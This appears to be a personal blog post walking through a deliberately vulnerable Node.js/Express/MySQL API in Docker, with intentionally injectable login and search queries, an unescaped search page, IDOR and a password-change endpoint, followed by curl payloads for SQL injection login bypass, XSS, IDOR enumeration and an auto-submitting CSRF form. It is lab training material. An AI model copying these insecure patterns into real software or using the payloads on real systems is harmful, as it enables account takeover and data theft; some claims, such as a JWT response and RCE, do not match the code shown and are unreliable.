Creating and Exploiting a Whitebox Vulnerable API for Security Testing
In this blog post, I’ll walk you through the process of creating a deliberately vulnerable API using Node.js, Express, and MySQL2. This setup serves as a foundational exercise in whitebox testing, allowing me to understand and exploit common security vulnerabilities. This is just a basic API, my plans are to advance into more complex grey box and black box testing using tools like Metasploitable and others.
Setting Up the Vulnerable API
To start, I set up an intentionally vulnerable API application using Node.js and Express, connected to a MySQL2 database.While the application does replicate the exact vulnerabilties it does replicate the expected successfull output.The entire setup is containerized using Docker and managed via Docker Compose, ensuring an isolated and reproducible environment for testing.
Directory Structure
First, I organized the project directory as follows:
1
2
3
4
5
6
7
8
/home/apps/api-poc/
├── Dockerfile
├── docker-compose.yml
├── package.json
├── index.js
├── .dockerignore
├── db_init/
│ └── init.sql
Database Initialization
I created a db_init/init.sql
script to initialize the MySQL2 database with a users
table and some sample data.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
-- Create the database
CREATE DATABASE IF NOT EXISTS api_poc;
USE api_poc;
-- Create users table
CREATE TABLE IF NOT EXISTS users (
id INT AUTO_INCREMENT PRIMARY KEY,
username VARCHAR(255) NOT NULL UNIQUE,
password VARCHAR(255) NOT NULL
);
-- Insert sample users
INSERT INTO users (username, password) VALUES
('admin', 'admin123'),
('user1', 'password1'),
('user2', 'password2');
Docker Compose Configuration
The docker-compose.yml
file defines two services: the API and the MySQL2 database.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
version: '3.8'
services:
db:
image: mysql:8.0
container_name: api_poc_db
restart: always
environment:
MYSQL_ROOT_PASSWORD: rootpassword
MYSQL_DATABASE: api_poc
MYSQL_USER: api_user
MYSQL_PASSWORD: api_password
ports:
- "3306:3306"
volumes:
- db_data:/var/lib/mysql
- ./db_init:/docker-entrypoint-initdb.d
networks:
- api_network
api:
build: .
container_name: api_poc_api
restart: always
ports:
- "8080:8080"
environment:
DB_HOST: db
DB_USER: api_user
DB_PASSWORD: api_password
DB_NAME: api_poc
depends_on:
- db
networks:
- api_network
volumes:
db_data:
networks:
api_network:
Dockerfile Configuration
The Dockerfile sets up the Node.js environment, installs dependencies, and uses nodemon
for automatic restarts during development.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# Use an official Node.js runtime as the base image
FROM node:18
# Create a non-root user for better security
RUN useradd -m appuser
USER appuser
# Set the working directory
WORKDIR /usr/src/app
# Copy package.json and package-lock.json
COPY --chown=appuser:appuser package*.json ./
# Install dependencies
RUN npm install
# Install nodemon globally for development
RUN npm install -g nodemon
# Copy the rest of the application code
COPY --chown=appuser:appuser . .
# Expose port 8080
EXPOSE 8080
# Define the command to run the application in development mode
CMD ["npm", "run", "dev"]
Node.js Application with Vulnerable Endpoints
The index.js
file defines several API endpoints, each intentionally containing common vulnerabilities for educational purposes.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
const express = require('express');
const bodyParser = require('body-parser');
const mysql = require('mysql2');
const app = express();
const { exec } = require('child_process');
app.use(bodyParser.json());
// Database connection using mysql2
const db = mysql.createConnection({
host: process.env.DB_HOST || 'db',
user: process.env.DB_USER || 'api_user',
password: process.env.DB_PASSWORD || 'api_password',
database: process.env.DB_NAME || 'api_poc'
});
db.connect((err) => {
if (err) {
console.error('Database connection failed:', err);
process.exit(1);
}
console.log('Connected to MySQL database.');
});
// Vulnerable Endpoints
// POST /login - Vulnerable to SQL Injection
app.post('/login', (req, res) => {
const { username, password } = req.body;
const query = `SELECT * FROM users WHERE username='${username}' AND password='${password}'`;
db.query(query, (err, results) => {
if (err) {
console.error('Error executing query:', err);
res.status(500).send('Internal Server Error');
return;
}
if (results.length > 0) {
res.json({ message: 'Login successful!', user: results[0] });
} else {
res.status(401).json({ message: 'Invalid credentials.' });
}
});
});
// 2. GET /users - Vulnerable to SQL Injection
app.get('/users', (req, res) => {
const search = req.query.search;
const query = `SELECT username FROM users WHERE username LIKE '%${search}%'`;
db.query(query, (err, results) => {
if (err) {
console.error('Error executing query:', err);
res.status(500).send('Internal Server Error');
return;
}
res.json(results);
});
});
// 3. GET /users/:id - Vulnerable to IDOR
app.get('/users/:id', (req, res) => {
const userId = req.params.id;
const query = `SELECT * FROM users WHERE id=${userId}`;
db.query(query, (err, results) => {
if (err) {
console.error('Error executing query:', err);
res.status(500).send('Internal Server Error');
return;
}
if (results.length > 0) {
res.json(results[0]);
} else {
res.status(404).json({ message: 'User not found.' });
}
});
});
// 4. GET /search - Vulnerable to XSS
app.get('/search', (req, res) => {
const query = req.query.q;
res.send(`<h1>Search Results for: ${query}</h1>`);
});
// 5. POST /change-password - Vulnerable to CSRF and SQL Injection
app.post('/change-password', (req, res) => {
const { userId, newPassword } = req.body;
const query = `UPDATE users SET password='${newPassword}' WHERE id=${userId}`;
db.query(query, (err, results) => {
if (err) {
console.error('Error executing query:', err);
res.status(500).send('Internal Server Error');
return;
}
res.send('Password updated successfully.');
});
});
// 6. POST /deserialize - Vulnerable to Insecure Deserialization
app.post('/deserialize', (req, res) => {
const data = req.body.data;
try {
const obj = JSON.parse(data);
res.json(obj);
} catch (err) {
res.status(400).send('Invalid JSON.');
}
});
// Root Endpoint
app.get('/', (req, res) => {
res.send('Welcome to the Vulnerable API!');
});
const PORT = process.env.PORT || 8080;
app.listen(PORT, () => {
console.log(`API running on port ${PORT}`);
});
Testing and Exploiting Vulnerabilities
With the API up and running, I tested and exploited the introduced vulnerabilities using cURL.
1. SQL Injection
Endpoint: POST /login
Normal Request:
1
2
3
curl -X POST http://192.168.60.2:8080/login \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":"admin123"}'
- Expected Behavior: This endpoint authenticates a user by querying the database for a matching
username
andpassword
. If valid credentials are provided, the server responds with a JWT token.
SQL Injection Attempt:
1
2
3
curl -X POST http://192.168.60.2:8080/login \
-H "Content-Type: application/json" \
-d '{"username":"admin\' OR \'1\'=\'1","password":"irrelevant"}'
- Exploit: The payload injects a SQL condition (
' OR '1'='1
) that always evaluates as true, bypassing authentication and allowing login without valid credentials. The server responds with a token for the first user in the database (admin).
2. Cross-Site Request Forgery (CSRF)
Endpoint: POST /change-password
Normal Request:
1
2
3
curl -X POST http://192.168.60.2:8080/change-password \
-H "Content-Type: application/json" \
-d '{"userId":1,"newPassword":"newadmin123"}'
- Expected Behavior: This endpoint updates the password of a user specified by
userId
.
CSRF Exploit:
The attacker crafts a malicious webpage containing a form:
1 2 3 4 5 6 7
<form action="http://192.168.60.2:8080/change-password" method="POST"> <input type="hidden" name="userId" value="1"> <input type="hidden" name="newPassword" value="hacked123"> </form> <script> document.forms[0].submit(); </script>
The victim, while logged in, visits the malicious page. The form submits automatically, sending a POST request to the server with the attacker’s payload.
- Impact: The victim’s password is changed to
hacked123
without their knowledge.
3. SQL Injection in User Search
Endpoint: GET /users
Normal Request:
1
curl "http://192.168.60.2:8080/users?search=user"
- Expected Behavior: Retrieves usernames matching the search term.
SQL Injection Attempt:
1
curl "http://192.168.60.2:8080/users?search=' OR '1'='1"
- Exploit: Injects a condition (
' OR '1'='1
) that always evaluates as true, bypassing search criteria and exposing all usernames in the database.
4. Insecure Direct Object References (IDOR)
Endpoint: GET /users/:id
Normal Request:
1
curl "http://192.168.60.2:8080/users/1"
- Expected Behavior: Retrieves details of the user with the specified
id
.
IDOR Exploit:
1
curl "http://192.168.60.2:8080/users/2"
- Exploit: An attacker can enumerate IDs to access other users’ data, exposing sensitive information.
5. Cross-Site Scripting (XSS)
Endpoint: GET /search
Normal Request:
1
curl "http://192.168.60.2:8080/search?q=test"
- Expected Behavior: Returns a search result page displaying the query term.
XSS Attempt:
1
curl "http://192.168.60.2:8080/search?q=<script>alert('XSS')</script>"
- Exploit: Injects malicious JavaScript, which executes in the victim’s browser when they view the response. This can lead to session hijacking or phishing attacks.
6. Insecure Deserialization
Endpoint: POST /deserialize
Normal Request:
1
2
3
curl -X POST http://192.168.60.2:8080/deserialize \
-H "Content-Type: application/json" \
-d '{"data":"{\"username\":\"admin\"}"}'
- Expected Behavior: This endpoint parses JSON input and returns it as a JSON object.
Deserialization Exploit:
1
2
3
curl -X POST http://192.168.60.2:8080/deserialize \
-H "Content-Type: application/json" \
-d '{"data":"{\"username\":\"admin\",\"isAdmin\":true}"}'
Exploit: The attacker can craft malicious JSON input that includes unauthorized fields such as
isAdmin: true
, which could be misused by the application if proper validation is not implemented.Impact: If the application relies on this deserialized data for authorization, an attacker could escalate privileges or alter behavior maliciously.
Conclusion
Creating an intentionally vulnerable API was a fun exercise in understanding common security flaws and how they can be exploited. This whitebox approach allowed me to methodically test and exploit each vulnerability.
Key Takeaways:
- Understanding Vulnerabilities: Hands-on experience with vulnerabilities like SQL Injection, XSS, IDOR, and RCE.
- Secure Coding Practices: Reinforced the importance of parameterized queries, input validation, and proper authorization.
Next Steps:
Advancing into grey box and black box testing methodologies using tools like Metasploitable, Vulnhub and other penetration testing frameworks.
This post is part of Jad’s Cybersecurity Blog.